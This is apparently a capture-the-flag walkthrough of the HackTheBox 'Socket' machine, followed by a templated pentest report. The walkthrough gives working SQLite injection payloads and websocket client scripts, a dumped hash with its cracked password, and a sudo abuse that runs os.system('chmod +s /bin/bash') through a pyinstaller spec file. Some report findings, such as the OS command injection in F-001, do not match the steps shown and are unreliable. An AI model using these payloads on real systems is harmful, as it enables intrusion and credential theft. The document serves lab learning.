HackTheBox: Socket — Medium (Linux)

Full security assessment walkthrough for Socket on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Socket
HackTheBox
Linux Medium

📌 Introduction

Socket

logo
logo

🔖 Techniques & Vulnerabilities

sql injectionsqlircesudo

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshsyn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcphttpsyn-ack Apache httpd 2.4.52
5789/tcpunknownsyn-ack
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens
5789/tcpunknown
  • Enumerate service version for known CVEs
  • Test default/weak credentials
  • Review protocol-specific attack techniques

📖 Walkthrough

nmap

    PORT     STATE SERVICE REASON  VERSION
    22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
    | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
    |   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
    |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
    80/tcp   open  http    syn-ack Apache httpd 2.4.52
    |_http-server-header: Apache/2.4.52 (Ubuntu)
    |_http-title: Did not follow redirect to http://qreader.htb/
    | http-methods:
    |_  Supported Methods: GET OPTIONS
    5789/tcp open  unknown syn-ack
    | fingerprint-strings:
    |   GenericLines, GetRequest, HTTPOptions:
    |     HTTP/1.1 400 Bad Request
    |     Date: Sun, 26 Mar 2023 11:51:09 GMT
    |     Server: Python/3.10 websockets/10.4
    |     Content-Length: 77
    |     Content-Type: text/plain
    |     Connection: close
    |     Failed to open a WebSocket connection: did not receive a valid HTTP request.
    |   Help, SSLSessionReq:
    |     HTTP/1.1 400 Bad Request
    |     Date: Sun, 26 Mar 2023 11:51:27 GMT
    |     Server: Python/3.10 websockets/10.4
    |     Content-Length: 77
    |     Content-Type: text/plain
    |     Connection: close
    |     Failed to open a WebSocket connection: did not receive a valid HTTP request.
    |   RTSPRequest:
    |     HTTP/1.1 400 Bad Request
    |     Date: Sun, 26 Mar 2023 11:51:12 GMT
    |     Server: Python/3.10 websockets/10.4
    |     Content-Length: 77
    |     Content-Type: text/plain
    |     Connection: close
    |_    Failed to open a WebSocket connection: did not receive a valid HTTP request.
    ```
    

Dowload the linux zip file from the side. 

We can use this tools to get a python file from the binary.

(this works only with python3.8! To install uncompyle6 is a pit of pain)

Convert App to pyc

pyi-archive_viewer qreader ? X qreader to filename? ./qreader.pyc

Decompyle pyc using uncompyle

uncompyle6 qreader.pyc > qreader.py


Source code:

```python
<SNIP>
s_host = 'ws://ws.qreader.htb:5789'
<SNIP>
    def version(self):
        response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
            'version': VERSION })))
        data = json.loads(response)
        if 'error' not in data.keys():
            version_info = data['message']
            msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
            self.statusBar().showMessage(msg)
            return None
        error = None['error']
        self.statusBar().showMessage(error)
<SNIP>

We see, the websocket get an version paramter. We can use the expiren

SQL Injcetion - sqlite

  • backend code

```python def version(app_version):

data = fetchdb(f'SELECT * from versions where version = "{appversion}"')

if len(data) == 0: return False, f'Invalid version!'

version_info = {}

for row in data: for k in row.keys(): version_info[k] = row[k]

return True, version_info ```

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md

#!/usr/bin/python3
from websocket import create_connection
import sys, json
ws_host = 'ws://ws.qreader.htb:5789'
VERSION = sys.argv[1]
ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()
  • ./ws_cli.py "1\" or 1=1 -- -"
  • {"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}

Union Select

  • ./wscli.py "1\" union select 1,(sqliteversion()),3,4-- -"
  • {"message": {"id": 1, "version": "3.37.2", "released_date": 3, "downloads": 4}}
#!/usr/bin/python3
from websocket import create_connection
import sys, json
ws_host = 'ws://ws.qreader.htb:5789'
VERSION = sys.argv[1]
ws = create_connection(ws_host + '/version')
union = f"1\" union select 1,({VERSION}),3,4-- -"
ws.send(json.dumps({'version': union}))
result = ws.recv()
try:
    json_object = json.loads(result)
    print(json_object['message']['version'])
except:
    print(result)
ws.close()
  • ./wscli.py "SELECT groupconcat(name) FROM sqlite_schema"
  • sqlite_sequence,versions,users,info,reports,answers
  • ./wscli.py "SELECT sql FROM sqlitemaster WHERE type!='meta' AND sql NOT NULL AND name ='users'"
  • CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)

So there is a table users with username and password

  • ./ws_cli.py "select username from users"

admin

  • ./ws_cli.py "select password from users"

0c090c365fa0559b151a43e0fea39710

Crack password: https://crackstation.net/

PW: denjanjade122566

The username is not admin for the SSH login so check the answers table.

  • ./wscli.py "SELECT sql FROM sqlitemaster WHERE type!='meta' AND sql NOT NULL AND name ='answers'"
  • CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answeredby TEXT, answer TEXT , answereddate DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))
  • ./ws_cli.py "select answer from answers"
Hello Json,
As if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.
Thomas Keller

So we try the username tkeller with the password from the admin

uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)

→ user.txt

Priv Esc

  • sudo -l
User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
  • ls -la /usr/local/sbin/build-installer.sh

-rwxr-xr-x 1 root root 1096 Feb 17 11:41 /usr/local/sbin/build-installer.sh

#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

We see, we can run /home/svc/.local/bin/pyinstaller <any .spec file>

So crate this file

import os
os.system("chmod +s /bin/bash")
  • sudo /usr/local/sbin/build-installer.sh build /dev/shm/run.spec

The root run the code in this file!

→ root.txt

📋 Security Assessment Report

2
Critical
1
High
0
Medium
3
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — SQL Injection — Database Compromise
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

During the penetration test, it was discovered that the application incorporated user-supplied input directly into database queries without parameterisation. SQL injection was identified in authentication and data retrieval endpoints, allowing an attacker to manipulate query structure, extract unauthorised data, and bypass access controls entirely.

Impact

An attacker can extract the complete database contents — including usernames, password hashes, session tokens, and sensitive user records — without valid credentials. Authentication mechanisms can be bypassed by injecting always-true conditions. In environments where the database account holds elevated permissions, OS-level command execution is achievable through built-in procedures (xp_cmdshell, UDF), escalating directly to full server compromise as was demonstrated in this engagement.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Replace all dynamic SQL query construction with parameterised queries or prepared statements at every database interaction point. Apply strict type validation on all inputs. Enforce least-privilege database accounts restricted to only required tables and operations. Deploy a Web Application Firewall to detect SQL injection patterns. Suppress all database error detail in production responses to prevent schema enumeration by attackers.
F-003 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
Reactions

Related Articles